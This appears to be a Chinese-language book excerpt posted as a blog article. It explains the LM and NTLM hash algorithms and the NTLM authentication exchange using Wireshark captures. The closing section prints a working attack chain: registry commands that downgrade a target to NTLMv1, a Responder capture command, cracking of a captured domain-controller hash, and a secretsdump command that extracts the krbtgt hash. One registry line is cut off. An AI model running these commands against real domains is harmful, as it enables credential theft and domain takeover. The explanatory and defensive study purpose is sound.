查看原文
其他

NTLM协议详解

谢公子 谢公子学安全 2023-01-04

目录

SSP和SSPI的概念

1. SSPI

2. SSP

LM Hash加密算法

NTLM Hash加密算法

1. NTLM Hash加密流程

2. Windows系统存储的NTLM Hash

NTLM协议认证

1. 工作组环境下的NTLM认证

    (1)  工作组环境下NTLM认证抓包

        1)协商。

        2)Negotiate协商数据包。

        3)Challenge质询包。

        4)Authenticate认证包。

        5)返回成功与否。

        6)签名。

    (2)   Net-NTLM v2 Hash计算

2. 域环境下的NTLM认证

    (1) 域环境下NTLM认证抓包

3. NTLM v1和NTLM v2的区别

4. LmCompatibilityLevel

NTLM协议的安全问题

1. Pass The Hash

2. NTLM Relay

3. Net-NTLM v1 Hash破解


本文节选于《域渗透攻防指南》,购买请长按如下图片扫码



NTLM(New Technology LAN Manager)身份验证协议是微软用于Windows身份验证的主要协议之一。早期SMB协议以明文口令的形式在网络上传输,因此产生了安全性问题。后来出现了LM(LAN Manager)身份验证协议,它是如此的简单以至于很容易被破解。后来微软提出了NTLM身份验证协议,以及更新的NTLM V2版本。NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。NTLM协议可以为SMB、HTTP、LDAP、SMTP等上层微软应用提供身份认证。


01

SSP和SSPI的概念

在学习NTLM协议之前,我们先了解两个基本概念:SSPI 和 SSP

1

SSPI

SSPI(Security Service Provider Interface 或 Security Support Provider Interface,安全服务提供接口) 是 Windows 定义的一套接口,该接口定义了与安全有关的功能函数,包含但不限于:

    ·身份验证机制。

    ·为其他协议提供的 Session Security 机制。Session Security 指的是会话安全,即为通讯提供数据完整性校验以及数据的加、解密功能。

     SSPI接口定义了与安全有关的功能函数,用来获取验证、信息完整性、信息隐私等安全功能,该接口只是定义了一套接口函数,但是并没有实现具体的内容。

2

SSP

SSP(Security Service Provider,安全服务提供者) 是SSPI 的实现者,微软自己实现了如下的 SSP,用于提供安全功能,包含但不限于:


    ·NTLM SSP:Windows NT 3.51中引入(msv1_0.dll) ,为Windows 2000之前的客户端-服务器域和非域身份验证(SMB/CIFS)提供NTLM质询/响应身份验证。


  · Kerberos SSP:Windows 2000中引入,Windows Vista中更新为支持AES(kerberos.dll),Windows 2000及更高版本中首选的客户端-服务器域相互身份验证。


 · Digest SSP:Windows XP中引入(wdigest.dll) ,在Windows与Kerberos不可用的非Windows系统间提供基于HTTP和SASL身份验证的质询/响应。


 · Negotiate SSP:Windows 2000中引入(secur32.dll) ,默认选择Kerberos,如果不可用则选择NTLM协议。Negotiate SSP提供单点登录能力,有时称为集成Windows身份验证(尤其是用于IIS时)。在Windows 7及更高版本中,NEGOExts引入了协商使用客户端和服务器上支持的已安装定制SSP进行身份验证。


 · Cred SSP:Windows Vista中引入,Windows XP SP3上也可用(credssp.dll),为远程桌面连接提供单点登录(SSO)和网络级身份验证。


 · Schannel SSP:Windows 2000中引入(Schannel.dll),Windows Vista中更新为支持更强的AES加密和ECC[6]该提供者使用SSL/TLS记录来加密数据有效载荷。


 · PKU2U SSP:Windows 7中引入(pku2u.dll) , 在不隶属域的系统之间提供使用数字证书的对等身份验证。


     因为 SSPI 中定义了与 Session Security 有关的 API。所以上层应用利用任何 SSP 与远程的服务进行了身份验证后,此 SSP 都会为本次连接生成一个随机Key。这个随机Key被称为 Session Key。上层应用在经过身份验证后,可以选择性地使用这个 Key 对之后发往服务端或接收自服务端的数据进行签名或加密。在系统层面,SSP就是一个dll,用来实现身份验证等安全功能。不同的SSP,实现的身份验证机制是不一样的。比如 NTLM SSP 实现的就是一种基于质询/响应身份验证机制。而 Kerberos SSP 实现的就是基于 Ticket票据的身份验证机制。我们可以编写自己的 SSP,然后注册到操作系统中,让操作系统支持我们自定义的身份验证方法。SSP、SSPI和各种应用的关系如图所示。


相关:

SSPI

https://docs.microsoft.com/zh-cn/windows/win32/secauthn/sspi

Microsoft 提供的 SSP 包(https://docs.microsoft.com/zh-cn/windows/win32/secauthn/ssp-packages-provided-by-microsoft


02

LM Hash加密算法

LM(LAN Manager)身份认证是微软推出的一个身份认证协议,其使用的加密算法是LM Hash加密算法。LM Hash本质是DES加密,尽管LM Hash较容易被破解,但为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windwos Vista和Windows Server 2008开始,Windows默认禁用了LM Hash)。LM Hash明文密码被限定在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上即可。

如果LM Hash的值为:aad3b435b51404eeaad3b435b51404ee,说明LM Hash为空值或者被禁用了。

LM Hash的加密流程如下,我们以口令P@ss1234为例演示:


1)将用户的明文口令转换为大写,并转换为16进制字符串。

P@ss1234 -> 大写 = P@SS1234 -> 转为十六进制 = 5040535331323334

    2)如果转换后的16进制字符串的长度不足14字节(长度28),用0来补全。

5040535331323334 -> 用0 补全为14字节(长度28) = 5040535331323334000000000000

    3)将14字节分为两组,每组7字节转换为二进制数据,每组二进制数据长度为56比特位。如图所示。

    4)将每组二进制数据按7比特位为一组,分为8组,每组末尾加0,再转换成16进制,这样每组也就成了8字节长度的16进制数据了。如图所示。

    5)将上面生成的两组16进制数据,分别作为DES加密密钥对字符串“KGS!@#$%”进行加密。然后将DES加密后的两组密文进行拼接,得到最终的LM HASH值。如图所示。KGS!@#$%转为16进制为:4B47532140232425

LM Hash加密代码运行效果如图所示


03

NTLM Hash加密算法

为了解决LM Hash加密和身份验证方案中固有的安全弱点,微软于1993年在Windows NT 3.1中首次引入了NTLM (New TechnologyLAN Manager ) Hash。

下图是各个Windows版本对LM Hash和NTLM Hash的支持。也就是说,微软从Windwos VistaWindows Server 2008开始,默认禁用了LM Hash,只存储NTLM Hash,而LM Hash的位置则为空:aad3b435b51404eeaad3b435b51404ee.

不同Windows系统版本对LMNTLM的支持如图所示。

NTLM Hash算法是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。

NTLM Hash是基于MD4加密算法进行加密的。

下面我们来看看NTLM Hash的加密流程。

1

NTLM Hash加密流程

    NTLM Hash的加密方程如下,可以看到NTLM Hash是由明文密码经过三步加密而成:

NTLM Hash = md4(unicode(hex(password)))

1)先将用户密码转换为16进制格式。

2)再将16进制格式的字符串进行ASCIIUnicode编码。

3)最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。

如下可以看到P@ss1234通过NTLM Hash的加密流程一步步加密成为NTLM Hash:74520a4ec2626e3638066146a0d5ceae

P@ss1234 -> 转为十六进制 = 50407373313233345040737331323334 -> ASCII转Unicode编码 = 5000400073007300310032003300340050004000730073003100320033003400 -> MD4加密 = 74520a4ec2626e3638066146a0d5ceae

NTLM Hash加密代码运行效果如图所示

又或者直接一条python命令即可,如下。

python3 -c 'import hashlib,binascii; print("NTLM_Hash:"+binascii.hexlify(hashlib.new("md4", "P@ss1234".encode("utf-16le")).digest()).decode("utf-8"))'

如图所示,直接一条Python命令进行NTLM Hash加密:


2

Windows系统存储的NTLM Hash

    用户的密码经过NTLM Hash加密后存储在 %SystemRoot%\system32\config\SAM 文件里,如图所示。

     当用户输入密码进行本地认证的过程中,所有的操作都是在本地进行的。系统将用户输入的密码转换为NTLM Hash,然后与SAM文件中的NTLM Hash进行比较,相同说明密码正确,反之错误。当用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面,也就是输入框。当winlogon.exe接收输入后,将密码交给lsass.exe进程,lsass.exe进程中会存一份明文密码,将明文密码加密成NTLM Hash,与SAM数据库进行比较认证。我们使用mimikatz就是从lsass.exe进程中抓取明文密码或者密码哈希。使用mimikatz抓取lsass内存中的凭据如图所示。

     使用MSF或者CobaltStrike通过转储哈希抓到的密码格式如下,第一部分是用户名,第二部分是用户的SID值,第三部分是LM Hash,第四部分是NTLM Hash,其余部分为空。

xxxxxxxxxx 用户名:用户SID值:LM Hash:NTLM Hash:::

Windows VistaWindows Server 2008开始,由于默认禁用了LM Hash,因此第三部分的LM Hash固定为空值,第四部分的NTLM-Hash才是用户密码加密后的凭据。

     使用CobaltStrike的转储哈希功能转储目标机器内存中的凭据如图所示。



04

NTLM协议认证

NTLM身份认证协议是一种基于 Challenge/Response 质询响应验证机制,由三种类型消息组成:

   · type 1(协商,Negotiate);

   · type 2(质询,Challenge);

   · type 3(认证,Auth)。


NTLM身份认证协议有NTLM v1NTLM v2两个版本,目前使用最多的是NTLM v2版本。NTLM v1与NTLM v2最显著的区别就是Challenge质询值与加密算法不同,共同之处就是都是使用的NTLM Hash进行加密。


1

工作组环境下的NTLM认证

工作组环境下的NTLM 认证流程图如图所示。

NTLM Hash = md4(unicode(hex(password)))

工作组环境下NTLM认证流程可以分为如下4步。

①:当客户端需要访问服务器的某个服务时,就需要进行身份认证。于是,当客户端输入服务器的用户名和密码进行验证的时候,客户端就会缓存服务器密码的NTLM Hash值。然后,客户端会向服务端发送一个请求,该请求利用NTLM SSP 生成NTLMSSP_NEGOTIATE消息(被称为Type 1 NEGOTIATE 协商消息)。


②:服务端接收到客户端发送过来的Type 1消息后,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等。然后传入NTLM SSP,得到NTLMSSP_CHALLENGE 消息(被称为Type 2 Challenge 质询消息),并将此Type 2消息发回给客户端。此Type 2消息中包含了一个由服务端生成的16位随机值,此随机值被称为Challenge质询值,服务端会将该Challenge质询值缓存起来。


③:客户端收到服务端返回的Type 2消息后,读取出服务端所支持的内容,并取出其中的Challenge质询值,用缓存的服务器密码的NTLM Hash对其进行加密得到 Response消息。最后将Response和一些其他信息封装到NTLMSSP_AUTH认证消息中(被称为Type 3 Authenticate认证消息),发往服务端。


④:服务端在收到Authenticate认证消息后,从中取出Net-NTLM Hash。然后用自己密码的NTLM Hash 对Challenge质询值进行一系列加密运算,得到自己计算的Net-NTLM Hash。并比较自己计算出的Net-NTLM Hash 和客户端发送的Net-NTLM Hash是否相等。如果相等,则证明客户端输入的密码正确,从而认证成功,反之则认证失败。以上就是工作组环境下NTLM认证的流程。下面我们来使用WireShark对NTLM认证流程进行抓包查看:

1

工作组环境下NTLM认证抓包

    由于NTLM只是底层的认证协议,其必须镶嵌在上层应用协议里面,消息的传输依赖于使用NTLM的上层协议,比如SMB、HTTP等。如下实验是基于SMB服务利用NTLM进行验证。实验环境如下:

客户端(WIN7):10.211.55.6;

服务端(6C85):10.211.55.7。


工作组环境下NTLM认证拓扑图如图所示。

使用正确的账号密码通过SMB协议认证10.211.55.7,可以看到认证成功,如图所示。

在认证的过程中,使用WireShark进行抓包。如图所示。

如图所示,使用错误的账号密码通过SMB协议认证10.211.55.7,可以看到认证失败。

在认证的过程中,使用WireShark进行抓包。如图所示:

我们打开每个认证包发现,NTLM认证的数据包都是放在GSS-API里面的,如图可以看到在SMB认证包里面的GSS-API:


      那么什么是GSS-API呢?

 GSS-API(Generic Security Service Application Program Interface,通用安全服务应用程序接口),是一种统一的模式,为使用者提供与机制无关,平台无关,程序语言环境无关,并且可移植的安全服务。程序员在编写应用程序时,可以应用通用的安全机制,因此开发者不必针对任何特定的平台、安全机制、保护类型或传输协议来定制安全实现。SSPI是GSS-API的一个专有变体,进行了扩展并具有许多特定于Windows的数据类型。SSPI生成和接受的令牌大多与GSS-API兼容。而这里NTLM SSP实现了SSPI,因此也相当于实现了GSS-API。并且注册为SSP的一个好处就是,SSP实现了与安全有关的功能函数,因此上层协议(比如SMB、HTTP、LDAP)在进行身份认证等功能的时候,就可以不用考虑协议细节,只需要调用相关的函数即可。而认证过程中的流量嵌入在上层协议里面,不像Kerbreos,既可以镶嵌在上层协议里面,也可以作为独立的应用层协议。

下面我们来具体分析下WireShark抓包的内容

1)协商

我们先来看一下前面四个包,如图所示:

前面四个包是SMB协议协商的一些信息,这里着重讲一下Security mode安全模式。如图所示,可以看到Security mode下的Signing enabled为True,而Signing requiredFalse,表明当前客户端虽然支持签名,但是协商不签名!

注:工作组环境下默认均不签名


2)Negotiate协商数据包

我们再来看看第五个包,如图1-18所示:

    第五个包是NTLMNegotiate协商包,也就是Type 1,是从客户端发送到服务器以启动NTLM身份验证的包。其主要目的是通过flag指示支持的选项来验证基本规则,并且可选的,它还可以向服务器提供客户端的工作站名称和客户端工作站具有成员身份的域;服务器使用此信息来确定客户端是否有资格进行本地身份验证。

Type 1消息主要包含如图所示结构。

Type 1 Negotiate协商包的核心部分如图所示

其中Negotiate Flags字段需要协商的flag标志如图所示。


3)Challenge质询包

我们再来看看第六个包,如图所示。

第六个包是Type 2 Challenge质询消息,是服务端发送给客户端的,包含服务器支持和同意的功能列表。

Type 2消息主要包含如图所示结构。

Type 2 Challenge质询消息的核心部分如图所示:

Type2中消息中包含Challenge质询值,在NTLM v2版本中,Challenge质询值是一个随机的16字节的字符串。

如图所示,Challenge质询值为:f9e7d1fe37e7ae12


4)Authenticate认证包

我们再来看看第七个包,如图所示:

第七个包是Auth 认证消息,是客户端发给服务端的认证消息。此消息包含客户端对Type 2质询消息的响应,这表明客户端知道帐户密码。Auth消息还指示身份验证帐户的身份验证目标(域或服务器名)和用户名,以及客户端工作站名。

Auth认证消息主要包含如图所示结构:

如图所示,是Auth认证消息的核心部分:

    Auth认证消息中最主要的便是Type 3 Response响应消息。Response响应消息是用服务器密码的NTLM Hash加密Challenge质询值后经过一系列运算得到的,Response响应消息中可以提取出Net-NTLM Hash。在Type 3 Response响应消息中有六种类型的响应:

· LM响应:由低版本的客户端发送,这是“原始”响应类型。

  · NTLM v1响应:这是由基于NT的客户端发送的,包括Windows 2000和XP。

· NTLM v2响应: 在Windows NT Service Pack 4中引入的一种较新的响应类型。它替换启用了 NTLMv2的系统上的NTLM响应。

· LMv2响应:替换NTLMv2系统上的LM响应。

  · NTLMv2会话响应:用于在没有NTLMv2身份验证的情况下协商NTLMv2会话安全性时,此方案会更改LM NTLM响应的语义。

· 匿名响应:当匿名上下文正在建立时使用; 没有提供实际的证书,也没有真正的身份验证。“存根”字段显示在类型3消息中。


      这6种响应使用的加密流程一样,都是前面我们说的Challenge/Response 质询响应验证机制,不同之处在于Challenge质询值和加密算法不同。至于选择哪个版本的响应由LmCompatibilityLevel决定,至于LmCompatibilityLevel,我们会在后面讲到。  

如图所示,可以看到在Type 3 Response响应消息中是NTLM v2响应类型:

如图所示,可以看到在NTLMv2 Response响应消息下的NTProofStr字段,该字段的值是用做数据签名的Hash(HMAC-MD5)值,目的是保证数据的完整性。


而对于NTLMv2 HashNTProofStr,有如下计算公式。

· NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)

· NTProofStr     = HMAC-MD5(challenge + blob, NTLMv2 Hash)

如图所示,可以看到在NTLMv2 Response响应消息下的MIC字段。


微软为了防止数据包中途被篡改,使用exportedSessionKey加密三个NTLM消息,来保证数据包的完整性。而该exportedSessionKey仅对启动认证的帐户和目标服务器是已知的。因此有了MIC,攻击者就无法中途修改NTLM认证数据包了。


对于MIC,有如下计算公式:

MIC = HMAC_MD5(exportedSessionKey, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)


5)返回成功与否

第八个数据包就是返回结果,成功或者失败。

如图所示是返回成功的数据包。

如图所示是返回失败的数据包。


6)签名

在认证完成后,根据协商的字段值来确定是否需要对后续数据包进行签名。那么如果需要签名的话,是如何进行签名呢?

如图所示,我们可以看到在第七个数据包中的Session Key字段。Session Key是用来进行协商加密密钥的。

那么Session Key是如何生成的,以及是如何作用的呢?

我们接下来以impacket里面的函数来说明:

如图所示,Session Key是由keyExchangeKey和exportedSessionKey经过一系列运算得到。

keyExchangeKey是使用用户password和serverChallenge等值经过一定运算得到。

如图所示:

exportedSessionKey是客户端生成的随机数,用来加解密流量。如图所示:

     那么,客户端和服务端是如何通过Session Key进行协商秘钥的呢?

  首先,客户端会生成一个随机数exportedSessionKey,后续都是使用这个exportedSessionKey来加解密流量。由于exportedSessionKey是客户端生成的,服务端并不知道,那么是通过什么手段进行协商的呢?客户端使用keyExchangeKey做为Key,RC4加密算法加密exportedSessionKey,得到我们流量中看到的Session Key。服务端拿到流量后,使用用户密码和质询值Challenge经过运算生成keyExchangeKey,然后使用Session KeykeyExchangeKey一起运算得到exportedSessionKey,然后使用exportedSessionKey进行加解密流量。对于攻击者来说,由于没有用户的密码,无法生成keyExchangeKey。因此,攻击者即使在拿到流量后,也无法计算出exportedSessionKey,自然也就无法解密流量了。

2

Net-NTLM v2 Hash计算

我们来看看NTLM v2的Response消息是如何生成的,如下:

  1)将大写User name与Domain name(区分大小写)拼在一起,进行Hex然后双字节Unicode编码得到data,接着使用16字节NTLM哈希作为密钥key,用data和key进行HMAC-MD5加密得到NTLMv2 Hash。

  2)构建一个blob信息

    3)使用16字节NTLMv2 Hash作为密钥,将HMAC-MD5消息认证代码算法加密一个值(来自type 2的Challenge与Blob拼接在一起)。得到一个16字节的NTProofStr(HMAC-MD5)。

4)将NTProofStr与Blob拼接起来形成得到Response。

以上就是NTLM v2版本Response消息的生成。我们平时在使用如Responder工具抓取NTLM Response消息的时候,都是抓取的Net-NTLM hash格式的数据。

Net-NTLM v2 hash的格式如下:

username::domain:challenge:HMAC-MD5:blob

其中各部分含义如下:

· username(要访问服务器的用户名):administrator

· domain(域信息):WIN7

· challenge(数据包6中服务器返回的challenge值):f9e7d1fe37e7ae12

· HMAC-MD5(数据包7中的NTProofStr): 202beed8c64468318318bad6e8ae8326

· blob(blob对应数据为数据包7中NTLMv2 Response去掉NTProofStr的后半部分):010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000


所以最后Net-NTLM v2 Hash值为如下:

administrator::WIN7:f9e7d1fe37e7ae12:202beed8c64468318318bad6e8ae8326:010100000000000000d248080d47d701684da093c89fd679000000000200080036004300380035000100080036004300380035000400080036004300380035000300080036004300380035000700080000d248080d47d70106000400020000000800300030000000000000000000000000300000ea8d4184d6934f5434f43abebde4a1b32162f75dbf6a799f74b049823a1522050a001000000000000000000000000000000000000900200063006900660073002f00310030002e003200310031002e00350035002e003700000000000000000000000000

从下面两个公式我们可以计算出NTLMv2 Hash、NTProofStr以及Reseonse

  • NTLMv2 Hash = HMAC-MD5(unicode(hex((upper(UserName)+DomainName))), NTLM Hash)

  • NTProofStr = HMAC-MD5(challenge + blob, NTLMv2 Hash)


通过输入相关值计算出NTLMv2 Hash、NTProofStr以及Reseonse代码运行效果如图所示。


2

域环境下的NTLM认证

如图所示,是域环境下的NTLM 认证流程图。

域环境下NTLM认证流程可以分为如下6步:

    ①:客户端想要访问服务器的某个服务,需要进行身份认证。于是,在客户端输入服务器的用户名和密码进行验证之后,客户端会缓存服务器密码的NTLM Hash值。然后,客户端会向服务端发送一个请求,该请求利用 NTLM SSP生成NTLMSSP_NEGOTIATE消息(被称为Type 1 NEGOTIATE 协商消息)

    ②:服务端接收到客户端发送过来的Type 1消息,会读取其中的内容,并从中选择出自己所能接受的服务内容,加密等级,安全服务等。然后传入 NTLM SSP,得到NTLMSSP_CHALLENGE 消息(被称为Type 2 Challenge 质询消息),并将此Type 2消息发回给客户端。此Type 2消息中包含了一个由服务端生成的16位随机值,此随机值被称为Challenge质询值,服务端将该Challenge值缓存起来。

    ③:客户端收到服务端返回的Type 2消息,读取出服务端所支持的内容,并取出其中的Challenge质询值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息,Response消息中可以提取出Net-NTLM Hash。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(被称为Type 3 Authenticate认证消息),发往服务端。

    ④:服务端接收到客户端发送来的 NTLMSSP_AUTH 认证消息后,通过Netlogon协议与域控建立一个安全通道,将验证消息发给域控。

    ⑤:域控收到服务端发来的验证消息后,从中取出Net-NTLM Hash。然后从数据库中找到该用户的NTLM Hash,对Challenge进行一系列加密运算,得到自己计算的Net-NTLM Hash。并比较自己计算出的Net-NTLM Hash和服务端发送的Net-NTLM Hash是否相等,如果相等,则证明客户端输入的密码正确,认证成功,反之认证失败,域控将验证结果发给服务端。

⑥:服务端根据DC返回的结果,对客户端进行回复。以上就是域环境下NTLM认证的流程。

下面我们来使用WireShark对NTLM认证流程进行抓包查看:


1

域环境下NTLM认证抓包

由于NTLM只是底层的认证协议,其必须镶嵌在上层应用协议里面,消息的传输依赖于使用NTLM的上层协议,比如SMB、HTTP等。

如下实验是基于SMB服务利用NTLM进行验证。实验环境如下:

客户端(WIN7):10.211.55.6

服务端(MAIL):10.211.55.5

域控(AD01):10.211.55.4

如图所示,是域环境下NTLM认证拓扑图。

如图所示是认证成功的数据包。

如图所示是认证失败的数据包。

由于数据包的字段和在工作组中的含义一样,此处不再详述。


3

NTLM v1和NTLM v2的区别

    NTLM v1身份认证协议和NTLM v2身份认证协议是NTLM身份认证协议的不同版本。目前使用最多的是NTLM v2版本。

    NTLM v1与NTLM v2最显著的区别就是Challenge质询值与加密算法不同,共同之处就是都是使用的 NTLM Hash进行加密。


Challenge质询值:

  NTLM v1:8字节

  NTLM v2:16字节

Net-NTLM Hash使用的加密算法:

  NTLM v1:DES加密算法

  NTLM v2:HMAC-MD5加密算法


我们来看看NTLM v1的Response消息是如何生成的,如下:

  1)将16字节的NTLM hash空填充为21个字节

  2)然后分成三组,每组7比特,作为3DES加密算法的三组密钥

  3)分别利用三组密码DES加密服务端发来的Challenge值

  4)将这三个密文值连接起来得到ResponseNet-NTLM v1 hash的格式如下:

username::hostname:LM response:NTLM response:challenge

如图所示,我们使用工具InternalMonologue.exe抓取Net-NTLM v1 hash


4

LmCompatibilityLevel

LmCompatibilityLevel值用来确定网络登录使用的质询/响应身份验证协议。此选项会影响客户端使用的身份验证协议的等级、协商的会话安全的等级以及服务器接受的身份验证的等级,如下是LmCompatibilityLevel为不同值的含义:

我们可以手动修改本地安全策略进行LmCompatibilityLevel值的修改。打开本地安全策略——>安全设置——>本地策略——>安全选项——网络安全: LAN管理器身份验证级别,默认其值是没有定义。没有定义的话,就是使用的默认值。

 如图所示,可以看到“网络安全: LAN管理器身份验证级别”默认是没有定义的。

要修改成哪种响应,选中该响应类型,然后应用即可。如图所示:

或者也可以执行命令修改注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel字段的值来修改该响应类型,默认情况下是没有lmcompatibilitylevel字段的。

如图所示在HKLM\SYSTEM\CurrentControlSet\Control\Lsa下没有lmcompatibilitylevel字段:

注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel字段的值对应的响应如图所示:

可以通过如下命令修改注册表lmcompatibilitylevel的值为2:

如图所示,可以看到执行命令修改注册表成功!

接着再次查看HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel字段,如图所示,可以看到已经有该字段了,并且其值为2。




05

NTLM协议的安全问题

从上面NTLM认证的流程中我们可以看到,在Type 3 Auth认证消息中是使用用户密码的Hash计算的。因此当我们没有拿到用户密码的明文而只拿到Hash的情况下,我们可以进行Pass The Hash(PTH)攻击,也就是大家所说的哈希传递攻击。同样,还是在Type3消息中,存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。并且由于NTLM v1版本协议加密过程存在天然缺陷,可以对Net-NTLM v1 Hash进行爆破,得到NTLM Hash。拿到NTLM Hash后即可进行横向移动。

1

Pass The Hash

      Pass The Hash(PTH)哈希传递攻击是内网横向移动的一种方式。主要原因是NTLM认证过程中使用的是用户密码的NTLM Hash来进行加密。因此当我们获取到了用户密码的NTLM Hash而没有解出明文时,我们可以利用该NTLM Hash进行哈希传递攻击,对内网其他机器进行Hash碰撞,碰撞到使用相同密码的机器。然后通过135或445端口横向移动到使用该密码的其他机器;具体有关Pass The Hash哈希传递攻击的详细攻击细节会在后面的4.9章节中详细介绍。

2

NTLM Relay

    NTLM Relay其实严格意义上并不能叫NTLM Relay,而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步,在 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。具体有关NTLM Relay的详细攻击细节会在后面的4.7章节中详细介绍。

3

Net-NTLM v1 Hash破解

      由于NTLM v1身份认证协议加密过程存在天然缺陷,只要获取到Net-NTLM v1 Hash,都能破解为NTLM hash,这与密码强度无关。在域环境中这更有效,因为域中使用hash即可远程连接目标机器。如果域控允许发送NTLM v1响应的话,我们就可以通过与域控机器进行NTLM认证,然后抓取域控的Net-NTLM v1 Hash,破解为NTLM Hash。使用域控的机器账号和哈希即可导出域内所有用户哈希!

      但是自从Windows Vista开始,微软就默认使用NTLM v2身份认证协议,要想降级到NTLM v1的话,需要手动进行修改,并且需要目标主机的管理员权限才能进行操作。

如下操作开启目标主机支持NTLM v1响应:

 打开本地安全策略——>安全设置——>本地策略——>安全选项——>网络安全: LAN管理器身份验证级别。如图所示:

然后将其修改为仅发送NTLM响应,如图所示:

或者可以执行如下命令修改注册表:

#修改注册表开启Net-NTLM v1:reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
#为确保Net-NTLMv1开启成功,再修改两处注册表键值reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /freg add HKLM\SYSTEM\CurrentControlSe

如图所示,执行命令修改注册表成功!

然后我们使用Responder抓取目标主机的Net-NTLM v1 Hash。

注意,新版本的Responder的Challenge质询值为任意值,我们需要修改Responder.conf文件的Challenge的值为 1122334455667788。如图所示:

然后使用Responder执行如下命令进行Net-NTLM v1 Hash的监听,之后使用打印机漏洞或Petitpotam触发域控机器强制向我们的机器进行NTLM认证,即可收到域控的Net-NTLM v1 Hash了。

responder -I eth0 --lm -rPv

如图所示,可以看到Responder收到域控的Net-NTLM v1 Hash了。

然后使用ntlmv1.py脚本执行如下命令对Net-NTLM v1 Hash进行分析,即可得到NTHASH

python3 ntlmv1.py --ntlmv1 AD01$::XIE:8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF:8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF:1122334455667788

如图所示,执行ntlmv1.py脚本对Net-NTLM v1 Hash进行分析,得到NTHASH

然后将上一步得到的NTHASH值拿去https://crack.sh/get-cracking/网站进行破解,输入这个NTHASH值和接收结果的邮箱即可。或者将其转换为另外一种格式也可以进行破解。

NTHASH:8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF$NETNTLM$1122334455667788$8EE7FF2234CA7E2887069AB8046F05E631C9F8607CC528FF

如图所示,输入NTHASH和邮箱进行破解。

过几十秒后,我们的邮箱就收到了破解网站发来的邮件了。

Key值也就是目标的NTLM Hash。如图所示:

然后我们可以利用该NTLM Hash值以域控机器账号身份执行如下命令导出域内所有用户哈希。

python3 secretsdump.py xie/AD01\$@10.211.55.4  -hashes aad3b435b51404eeaad3b435b51404ee:efab19d515b5ff969709df4cfcf387ef -dc-ip 10.211.55.4 -just-dc-user krbtgt

如图所示,导出krbtgt用户哈希:



    非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。

    如果你想一起学习AD域安全攻防的话,可以加入下面的知识星球一起学习交流。


- END -


参考:

https://docs.microsoft.com/zh-cn/windows/win32/secauthn/sspi         

https://docs.microsoft.com/zh-cn/windows/win32/secauthn/ssp-packages-provided-by-microsoft   

http://davenport.sourceforge.net/ntlm.html   

https://daiker.gitbook.io/windows-protocol/ntlm-pian/4


相关文章:

https://cloud.tencent.com/developer/article/1645398    

https://mp.weixin.qq.com/s/FbA1BshhyQFWsW4nAgxQFw    

https://www.cnblogs.com/backlion/p/10843067.html

https://www.cnblogs.com/backlion/p/10843067.html

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存